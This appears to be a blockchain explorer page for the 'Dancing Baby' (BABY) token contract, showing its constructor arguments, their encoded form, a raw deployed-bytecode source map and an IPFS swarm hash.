Arg [0] : tokenName (string): Dancing Baby
Arg [1] : tokenSymbol (string): BABY
Arg [2] : ownerAddress (address): 0x04cac126C8891db7B1CD628C57279C20DD579C02
Arg [3] : _taxdev (address): 0x6eC7AF9cF85506E0c47A317C9de76425e5076e58
Arg [4] : ttSupply (uint256): 10000000000
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 00000000000000000000000004cac126c8891db7b1cd628c57279c20dd579c02
Arg [3] : 0000000000000000000000006ec7af9cf85506e0c47a317c9de76425e5076e58
Arg [4] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 44616e63696e6720426162790000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [8] : 4241425900000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
7508:7519:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9624:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10674:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8537:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9901:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10843:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9810:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10404:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10102:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2527:148;;;;;;;;;;;;;:::i;:::-;;8385:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10004:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2313:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8429:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9715:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10229:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8474:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7849:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10523:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9624:83;9661:13;9694:5;9687:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9624:83;:::o;10674:161::-;10749:4;10766:39;10775:12;:10;:12::i;:::-;10789:7;10798:6;10766:8;:39::i;:::-;10823:4;10816:11;;10674:161;;;;:::o;8537:51::-;;;;:::o;9901:95::-;9954:7;9981;;9974:14;;9901:95;:::o;10843:313::-;10941:4;10958:36;10968:6;10976:9;10987:6;10958:9;:36::i;:::-;11005:121;11014:6;11022:12;:10;:12::i;:::-;11036:89;11074:6;11036:89;;;;;;;;;;;;;;;;;:11;:19;11048:6;11036:19;;;;;;;;;;;;;;;:33;11056:12;:10;:12::i;:::-;11036:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;11005:8;:121::i;:::-;11144:4;11137:11;;10843:313;;;;;:::o;9810:83::-;9851:5;8291:1;9869:16;;9810:83;:::o;10404:111::-;2450:12;:10;:12::i;:::-;2440:22;;:6;;;;;;;;;;:22;;;2432:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10503:4:::1;10473:18;:27;10492:7;10473:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;10404:111:::0;:::o;10102:119::-;10168:7;10195:9;:18;10205:7;10195:18;;;;;;;;;;;;;;;;10188:25;;10102:119;;;:::o;2527:148::-;2450:12;:10;:12::i;:::-;2440:22;;:6;;;;;;;;;;:22;;;2432:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2634:1:::1;2597:40;;2618:6;::::0;::::1;;;;;;;;2597:40;;;;;;;;;;;;2665:1;2648:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2527:148::o:0;8385:37::-;;;;:::o;10004:90::-;10052:7;10079;;10072:14;;10004:90;:::o;2313:79::-;2351:7;2378:6;;;;;;;;;;;2371:13;;2313:79;:::o;8429:38::-;;;;:::o;9715:87::-;9754:13;9787:7;9780:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9715:87;:::o;10229:167::-;10307:4;10324:42;10334:12;:10;:12::i;:::-;10348:9;10359:6;10324:9;:42::i;:::-;10384:4;10377:11;;10229:167;;;;:::o;8474:56::-;;;;:::o;7849:40::-;;;;;;;;;;;;;:::o;10523:143::-;10604:7;10631:11;:18;10643:5;10631:18;;;;;;;;;;;;;;;:27;10650:7;10631:27;;;;;;;;;;;;;;;;10624:34;;10523:143;;;;:::o;1432:246::-;1490:7;1519:1;1514;:6;1510:47;;1544:1;1537:8;;;;1510:47;1567:9;1583:1;1579;:5;;;;:::i;:::-;1567:17;;1612:1;1607;1603;:5;;;;:::i;:::-;:10;1595:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1669:1;1662:8;;;1432:246;;;;;:::o;97:98::-;150:7;177:10;170:17;;97:98;:::o;11164:335::-;11274:1;11257:19;;:5;:19;;;11249:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11355:1;11336:21;;:7;:21;;;11328:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11437:6;11407:11;:18;11419:5;11407:18;;;;;;;;;;;;;;;:27;11426:7;11407:27;;;;;;;;;;;;;;;:36;;;;11475:7;11459:32;;11468:5;11459:32;;;11484:6;11459:32;;;;;;:::i;:::-;;;;;;;;11164:335;;;:::o;11507:2385::-;11611:1;11595:18;;:4;:18;;;11587:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11688:1;11674:16;;:2;:16;;;11666:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11758:1;11749:6;:10;11741:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11816:17;11858:7;:5;:7::i;:::-;11850:15;;:4;:15;;;;:32;;;;;11875:7;:5;:7::i;:::-;11869:13;;:2;:13;;;;11850:32;11846:1631;;;11904:18;:24;11923:4;11904:24;;;;;;;;;;;;;;;;;;;;;;;;;11903:25;:52;;;;;11933:18;:22;11952:2;11933:22;;;;;;;;;;;;;;;;;;;;;;;;;11932:23;11903:52;11899:1567;;;11984:76;12056:3;11984:67;12006:15;;11996:9;;:25;11995:55;;12036:14;;11995:55;;;12023:12;;11995:55;11984:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;11972:88;;12081:20;;;;;;;;;;;12077:508;;;12142:15;;;;;;;;;;;12128:30;;:2;:30;;;;:62;;;;;12176:13;;;;;;;;;;;12162:28;;:2;:28;;;;12128:62;12124:444;;;12326:12;12253:28;:39;12282:9;12253:39;;;;;;;;;;;;;;;;:85;12217:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;12534:12;12492:28;:39;12521:9;12492:39;;;;;;;;;;;;;;;:54;;;;12124:444;12077:508;12613:13;;;;;;;;;;;12605:21;;:4;:21;;;:55;;;;;12644:15;;;;;;;;;;;12630:30;;:2;:30;;;;12605:55;:83;;;;;12666:18;:22;12685:2;12666:22;;;;;;;;;;;;;;;;;;;;;;;;;12664:24;12605:83;12601:313;;;12728:12;;12718:6;:22;;12710:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;12823:14;;12813:6;12797:13;12807:2;12797:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;12789:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;12887:9;;:11;;;;;;;;;:::i;:::-;;;;;;12601:313;12944:28;12975:24;12993:4;12975:9;:24::i;:::-;12944:55;;13019:6;;;;;;;;;;;13018:7;:32;;;;;13037:13;;;;;;;;;;;13029:21;;:2;:21;;;13018:32;:47;;;;;13054:11;;;;;;;;;;13018:47;:89;;;;;13090:17;;13069:20;:38;13018:89;:121;;;;;13121:18;;13111:9;;:28;13018:121;13014:437;;;13160:67;13177:49;13181:6;13188:37;13192:20;13213:11;;13188:3;:37::i;:::-;13177:3;:49::i;:::-;13160:16;:67::i;:::-;13246:26;13275:21;13246:50;;13339:17;13318:18;:38;13315:121;;;13381:35;13394:21;13381:12;:35::i;:::-;13315:121;13141:310;13014:437;11957:1509;11899:1567;11846:1631;13500:1;13490:9;:11;13487:161;;;13540:39;13569:9;13540;:24;13558:4;13540:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;13515:9;:24;13533:4;13515:24;;;;;;;;;;;;;;;:64;;;;13620:4;13597:39;;13606:4;13597:39;;;13626:9;13597:39;;;;;;:::i;:::-;;;;;;;;13487:161;13676:27;13696:6;13676:9;:15;13686:4;13676:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;13660:9;:15;13670:4;13660:15;;;;;;;;;;;;;;;:43;;;;13728:40;13746:21;13757:9;13746:6;:10;;:21;;;;:::i;:::-;13728:9;:13;13738:2;13728:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;13714:9;:13;13724:2;13714:13;;;;;;;;;;;;;;;:54;;;;13779:38;13800:4;13806:2;13810:6;13779:20;:38::i;:::-;;13848:2;13833:41;;13842:4;13833:41;;;13852:21;13863:9;13852:6;:10;;:21;;;;:::i;:::-;13833:41;;;;;;:::i;:::-;;;;;;;;11576:2316;11507:2385;;;:::o;1234:190::-;1320:7;1353:1;1348;:6;;1356:12;1340:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1380:9;1396:1;1392;:5;;;;:::i;:::-;1380:17;;1415:1;1408:8;;;1234:190;;;;;:::o;1686:132::-;1744:7;1771:39;1775:1;1778;1771:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1764:46;;1686:132;;;;:::o;13902:98::-;13959:7;13986:1;13984;:3;13983:9;;13991:1;13983:9;;;13989:1;13983:9;13976:16;;13902:98;;;;:::o;14008:483::-;8879:4;8870:6;;:13;;;;;;;;;;;;;;;;;;14086:21:::1;14124:1;14110:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14086:40;;14155:4;14137;14142:1;14137:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;14181:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14171:4;14176:1;14171:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;14214:62;14231:4;14246:15;;;;;;;;;;;14264:11;14214:8;:62::i;:::-;14287:15;;;;;;;;;;;:66;;;14368:11;14394:1;14410:4;14437;14457:15;14287:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;14075:416;8915:5:::0;8906:6;;:14;;;;;;;;;;;;;;;;;;14008:483;:::o;14891:92::-;14948:10;;;;;;;;;;;:19;;:27;14968:6;14948:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14891:92;:::o;903:179::-;961:7;981:9;997:1;993;:5;;;;:::i;:::-;981:17;;1022:1;1017;:6;;1009:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1073:1;1066:8;;;903:179;;;;:::o;1090:136::-;1148:7;1175:43;1179:1;1182;1175:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1168:50;;1090:136;;;;:::o;14499:382::-;14640:7;14660:15;14697:10;;;;;;;;;;;14678:37;;;14716:4;14678:43;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14660:61;;14736:10;:24;;;;;14759:1;14750:6;:10;14736:24;14732:107;;;14800:5;14786:19;;:10;:19;;;14778:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;14732:107;14856:6;14849:13;;;14499:382;;;;;:::o;1826:189::-;1912:7;1944:1;1940;:5;1947:12;1932:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1971:9;1987:1;1983;:5;;;;:::i;:::-;1971:17;;2006:1;1999:8;;;1826:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:180::-;7565:77;7562:1;7555:88;7662:4;7659:1;7652:15;7686:4;7683:1;7676:15;7703:410;7743:7;7766:20;7784:1;7766:20;:::i;:::-;7761:25;;7800:20;7818:1;7800:20;:::i;:::-;7795:25;;7855:1;7852;7848:9;7877:30;7895:11;7877:30;:::i;:::-;7866:41;;8056:1;8047:7;8043:15;8040:1;8037:22;8017:1;8010:9;7990:83;7967:139;;8086:18;;:::i;:::-;7967:139;7751:362;7703:410;;;;:::o;8119:180::-;8167:77;8164:1;8157:88;8264:4;8261:1;8254:15;8288:4;8285:1;8278:15;8305:185;8345:1;8362:20;8380:1;8362:20;:::i;:::-;8357:25;;8396:20;8414:1;8396:20;:::i;:::-;8391:25;;8435:1;8425:35;;8440:18;;:::i;:::-;8425:35;8482:1;8479;8475:9;8470:14;;8305:185;;;;:::o;8496:220::-;8636:34;8632:1;8624:6;8620:14;8613:58;8705:3;8700:2;8692:6;8688:15;8681:28;8496:220;:::o;8722:366::-;8864:3;8885:67;8949:2;8944:3;8885:67;:::i;:::-;8878:74;;8961:93;9050:3;8961:93;:::i;:::-;9079:2;9074:3;9070:12;9063:19;;8722:366;;;:::o;9094:419::-;9260:4;9298:2;9287:9;9283:18;9275:26;;9347:9;9341:4;9337:20;9333:1;9322:9;9318:17;9311:47;9375:131;9501:4;9375:131;:::i;:::-;9367:139;;9094:419;;;:::o;9519:223::-;9659:34;9655:1;9647:6;9643:14;9636:58;9728:6;9723:2;9715:6;9711:15;9704:31;9519:223;:::o;9748:366::-;9890:3;9911:67;9975:2;9970:3;9911:67;:::i;:::-;9904:74;;9987:93;10076:3;9987:93;:::i;:::-;10105:2;10100:3;10096:12;10089:19;;9748:366;;;:::o;10120:419::-;10286:4;10324:2;10313:9;10309:18;10301:26;;10373:9;10367:4;10363:20;10359:1;10348:9;10344:17;10337:47;10401:131;10527:4;10401:131;:::i;:::-;10393:139;;10120:419;;;:::o;10545:221::-;10685:34;10681:1;10673:6;10669:14;10662:58;10754:4;10749:2;10741:6;10737:15;10730:29;10545:221;:::o;10772:366::-;10914:3;10935:67;10999:2;10994:3;10935:67;:::i;:::-;10928:74;;11011:93;11100:3;11011:93;:::i;:::-;11129:2;11124:3;11120:12;11113:19;;10772:366;;;:::o;11144:419::-;11310:4;11348:2;11337:9;11333:18;11325:26;;11397:9;11391:4;11387:20;11383:1;11372:9;11368:17;11361:47;11425:131;11551:4;11425:131;:::i;:::-;11417:139;;11144:419;;;:::o;11569:224::-;11709:34;11705:1;11697:6;11693:14;11686:58;11778:7;11773:2;11765:6;11761:15;11754:32;11569:224;:::o;11799:366::-;11941:3;11962:67;12026:2;12021:3;11962:67;:::i;:::-;11955:74;;12038:93;12127:3;12038:93;:::i;:::-;12156:2;12151:3;12147:12;12140:19;;11799:366;;;:::o;12171:419::-;12337:4;12375:2;12364:9;12360:18;12352:26;;12424:9;12418:4;12414:20;12410:1;12399:9;12395:17;12388:47;12452:131;12578:4;12452:131;:::i;:::-;12444:139;;12171:419;;;:::o;12596:222::-;12736:34;12732:1;12724:6;12720:14;12713:58;12805:5;12800:2;12792:6;12788:15;12781:30;12596:222;:::o;12824:366::-;12966:3;12987:67;13051:2;13046:3;12987:67;:::i;:::-;12980:74;;13063:93;13152:3;13063:93;:::i;:::-;13181:2;13176:3;13172:12;13165:19;;12824:366;;;:::o;13196:419::-;13362:4;13400:2;13389:9;13385:18;13377:26;;13449:9;13443:4;13439:20;13435:1;13424:9;13420:17;13413:47;13477:131;13603:4;13477:131;:::i;:::-;13469:139;;13196:419;;;:::o;13621:228::-;13761:34;13757:1;13749:6;13745:14;13738:58;13830:11;13825:2;13817:6;13813:15;13806:36;13621:228;:::o;13855:366::-;13997:3;14018:67;14082:2;14077:3;14018:67;:::i;:::-;14011:74;;14094:93;14183:3;14094:93;:::i;:::-;14212:2;14207:3;14203:12;14196:19;;13855:366;;;:::o;14227:419::-;14393:4;14431:2;14420:9;14416:18;14408:26;;14480:9;14474:4;14470:20;14466:1;14455:9;14451:17;14444:47;14508:131;14634:4;14508:131;:::i;:::-;14500:139;;14227:419;;;:::o;14652:297::-;14792:34;14788:1;14780:6;14776:14;14769:58;14861:34;14856:2;14848:6;14844:15;14837:59;14930:11;14925:2;14917:6;14913:15;14906:36;14652:297;:::o;14955:366::-;15097:3;15118:67;15182:2;15177:3;15118:67;:::i;:::-;15111:74;;15194:93;15283:3;15194:93;:::i;:::-;15312:2;15307:3;15303:12;15296:19;;14955:366;;;:::o;15327:419::-;15493:4;15531:2;15520:9;15516:18;15508:26;;15580:9;15574:4;15570:20;15566:1;15555:9;15551:17;15544:47;15608:131;15734:4;15608:131;:::i;:::-;15600:139;;15327:419;;;:::o;15752:175::-;15892:27;15888:1;15880:6;15876:14;15869:51;15752:175;:::o;15933:366::-;16075:3;16096:67;16160:2;16155:3;16096:67;:::i;:::-;16089:74;;16172:93;16261:3;16172:93;:::i;:::-;16290:2;16285:3;16281:12;16274:19;;15933:366;;;:::o;16305:419::-;16471:4;16509:2;16498:9;16494:18;16486:26;;16558:9;16552:4;16548:20;16544:1;16533:9;16529:17;16522:47;16586:131;16712:4;16586:131;:::i;:::-;16578:139;;16305:419;;;:::o;16730:191::-;16770:3;16789:20;16807:1;16789:20;:::i;:::-;16784:25;;16823:20;16841:1;16823:20;:::i;:::-;16818:25;;16866:1;16863;16859:9;16852:16;;16887:3;16884:1;16881:10;16878:36;;;16894:18;;:::i;:::-;16878:36;16730:191;;;;:::o;16927:176::-;17067:28;17063:1;17055:6;17051:14;17044:52;16927:176;:::o;17109:366::-;17251:3;17272:67;17336:2;17331:3;17272:67;:::i;:::-;17265:74;;17348:93;17437:3;17348:93;:::i;:::-;17466:2;17461:3;17457:12;17450:19;;17109:366;;;:::o;17481:419::-;17647:4;17685:2;17674:9;17670:18;17662:26;;17734:9;17728:4;17724:20;17720:1;17709:9;17705:17;17698:47;17762:131;17888:4;17762:131;:::i;:::-;17754:139;;17481:419;;;:::o;17906:233::-;17945:3;17968:24;17986:5;17968:24;:::i;:::-;17959:33;;18014:66;18007:5;18004:77;18001:103;;18084:18;;:::i;:::-;18001:103;18131:1;18124:5;18120:13;18113:20;;17906:233;;;:::o;18145:194::-;18185:4;18205:20;18223:1;18205:20;:::i;:::-;18200:25;;18239:20;18257:1;18239:20;:::i;:::-;18234:25;;18283:1;18280;18276:9;18268:17;;18307:1;18301:4;18298:11;18295:37;;;18312:18;;:::i;:::-;18295:37;18145:194;;;;:::o;18345:180::-;18393:77;18390:1;18383:88;18490:4;18487:1;18480:15;18514:4;18511:1;18504:15;18531:180;18579:77;18576:1;18569:88;18676:4;18673:1;18666:15;18700:4;18697:1;18690:15;18717:143;18774:5;18805:6;18799:13;18790:22;;18821:33;18848:5;18821:33;:::i;:::-;18717:143;;;;:::o;18866:351::-;18936:6;18985:2;18973:9;18964:7;18960:23;18956:32;18953:119;;;18991:79;;:::i;:::-;18953:119;19111:1;19136:64;19192:7;19183:6;19172:9;19168:22;19136:64;:::i;:::-;19126:74;;19082:128;18866:351;;;;:::o;19223:85::-;19268:7;19297:5;19286:16;;19223:85;;;:::o;19314:60::-;19342:3;19363:5;19356:12;;19314:60;;;:::o;19380:158::-;19438:9;19471:61;19489:42;19498:32;19524:5;19498:32;:::i;:::-;19489:42;:::i;:::-;19471:61;:::i;:::-;19458:74;;19380:158;;;:::o;19544:147::-;19639:45;19678:5;19639:45;:::i;:::-;19634:3;19627:58;19544:147;;:::o;19697:114::-;19764:6;19798:5;19792:12;19782:22;;19697:114;;;:::o;19817:184::-;19916:11;19950:6;19945:3;19938:19;19990:4;19985:3;19981:14;19966:29;;19817:184;;;;:::o;20007:132::-;20074:4;20097:3;20089:11;;20127:4;20122:3;20118:14;20110:22;;20007:132;;;:::o;20145:108::-;20222:24;20240:5;20222:24;:::i;:::-;20217:3;20210:37;20145:108;;:::o;20259:179::-;20328:10;20349:46;20391:3;20383:6;20349:46;:::i;:::-;20427:4;20422:3;20418:14;20404:28;;20259:179;;;;:::o;20444:113::-;20514:4;20546;20541:3;20537:14;20529:22;;20444:113;;;:::o;20593:732::-;20712:3;20741:54;20789:5;20741:54;:::i;:::-;20811:86;20890:6;20885:3;20811:86;:::i;:::-;20804:93;;20921:56;20971:5;20921:56;:::i;:::-;21000:7;21031:1;21016:284;21041:6;21038:1;21035:13;21016:284;;;21117:6;21111:13;21144:63;21203:3;21188:13;21144:63;:::i;:::-;21137:70;;21230:60;21283:6;21230:60;:::i;:::-;21220:70;;21076:224;21063:1;21060;21056:9;21051:14;;21016:284;;;21020:14;21316:3;21309:10;;20717:608;;;20593:732;;;;:::o;21331:831::-;21594:4;21632:3;21621:9;21617:19;21609:27;;21646:71;21714:1;21703:9;21699:17;21690:6;21646:71;:::i;:::-;21727:80;21803:2;21792:9;21788:18;21779:6;21727:80;:::i;:::-;21854:9;21848:4;21844:20;21839:2;21828:9;21824:18;21817:48;21882:108;21985:4;21976:6;21882:108;:::i;:::-;21874:116;;22000:72;22068:2;22057:9;22053:18;22044:6;22000:72;:::i;:::-;22082:73;22150:3;22139:9;22135:19;22126:6;22082:73;:::i;:::-;21331:831;;;;;;;;:::o;22168:177::-;22308:29;22304:1;22296:6;22292:14;22285:53;22168:177;:::o;22351:366::-;22493:3;22514:67;22578:2;22573:3;22514:67;:::i;:::-;22507:74;;22590:93;22679:3;22590:93;:::i;:::-;22708:2;22703:3;22699:12;22692:19;;22351:366;;;:::o;22723:419::-;22889:4;22927:2;22916:9;22912:18;22904:26;;22976:9;22970:4;22966:20;22962:1;22951:9;22947:17;22940:47;23004:131;23130:4;23004:131;:::i;:::-;22996:139;;22723:419;;;:::o;23148:116::-;23218:21;23233:5;23218:21;:::i;:::-;23211:5;23208:32;23198:60;;23254:1;23251;23244:12;23198:60;23148:116;:::o;23270:137::-;23324:5;23355:6;23349:13;23340:22;;23371:30;23395:5;23371:30;:::i;:::-;23270:137;;;;:::o;23413:345::-;23480:6;23529:2;23517:9;23508:7;23504:23;23500:32;23497:119;;;23535:79;;:::i;:::-;23497:119;23655:1;23680:61;23733:7;23724:6;23713:9;23709:22;23680:61;:::i;:::-;23670:71;;23626:125;23413:345;;;;:::o;23764:167::-;23904:19;23900:1;23892:6;23888:14;23881:43;23764:167;:::o;23937:366::-;24079:3;24100:67;24164:2;24159:3;24100:67;:::i;:::-;24093:74;;24176:93;24265:3;24176:93;:::i;:::-;24294:2;24289:3;24285:12;24278:19;;23937:366;;;:::o;24309:419::-;24475:4;24513:2;24502:9;24498:18;24490:26;;24562:9;24556:4;24552:20;24548:1;24537:9;24533:17;24526:47;24590:131;24716:4;24590:131;:::i;:::-;24582:139;;24309:419;;;:::o
Swarm Source
ipfs://046440aa1e9a3daac97bbb1e92d9e5834ea893163f7dcda4cec8ab95c3c88771
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
